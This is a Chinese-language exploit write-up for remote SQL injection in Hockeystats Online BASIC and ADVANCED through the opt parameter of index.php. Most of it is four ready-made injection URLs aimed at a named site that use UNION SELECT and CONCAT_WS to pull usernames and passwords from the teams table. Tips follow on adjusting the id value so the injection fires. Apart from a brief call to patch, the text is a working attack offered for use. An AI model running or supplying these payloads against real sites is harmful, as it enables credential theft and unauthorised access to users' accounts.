首先明确几个要点:Hockeystats Online 的 BASIC 和 ADVANCED 两个版本均存在远程 SQL 注入漏洞,攻击者可通过 index.php 中的 opt 参数直接注入恶意 SQL 语句,从而获取数据库中存储的敏感信息,例如用户名和密码。该漏洞的利用方式较为直接,影响范围也很清晰,所有使用该系统的团队都应高度关注并及时修复。
漏洞影响版本
该安全漏洞存在于以下两个版本中:
- Hockeystats Online BASIC
- Hockeystats Online ADVANCED
两个版本的注入点均位于 index.php 的 opt 参数,具体利用方法如下所示。
漏洞利用演示
在实际测试中,攻击者可以通过构造 union select 语句来直接提取数据。以下是针对 BASIC 版本的典型利用示例:
www.thehockeystop.com/hstatsbasic/?opt=viewpage&type=html&id=-00002' union select 0,CONCAT_WS(0x3a3a,username,password)MrSQL,0,0,0,0,0 from teams/*
此外,另一个注入点位于 schedule 功能模块:
www.thehockeystop.com/hstatsbasic/index.php?opt=schedule&season=1&divid=-1' union select 0,CONCAT_WS(0x3a3a,username,password)MrSQL from teams/*
ADVANCED 版本的利用方式几乎完全相同,仅路径稍有差异:
www.thehockeystop.com/hockeystats/?opt=viewpage&type=html&id=-00002' union select 0,CONCAT_WS(0x3a3a,username,password)MrSQL,0,0,0,0,0 from teams/*
www.thehockeystop.com/hockeystats/index.php?opt=schedule&season=1&divid=-1' union select 0,CONCAT_WS(0x3a3a,username,password)MrSQL from teams/*
在上述注入语句中,CONCAT_WS(0x3a3a,username,password) 会将用户名和密码以 :: 分隔后一次性输出,攻击者只需查看返回结果即可获取完整的登录凭证信息。
注意事项
需要特别强调的是,在第一个利用示例(opt=viewpage)中,必须将 id 参数替换为实际的真实 ID 数值。例如,如果目标页面的真实 ID 是 5,则应将 id=-00002' 改为 id=-5',否则注入无法正确触发。这是一种典型的“负号取反”技巧,用于绕过某些简单的过滤逻辑。
除此之外,没有其他复杂的先决条件——只要目标站点使用了受影响版本的 Hockeystats Online,且未对输入参数进行任何过滤,该注入便可直接生效,风险极高。
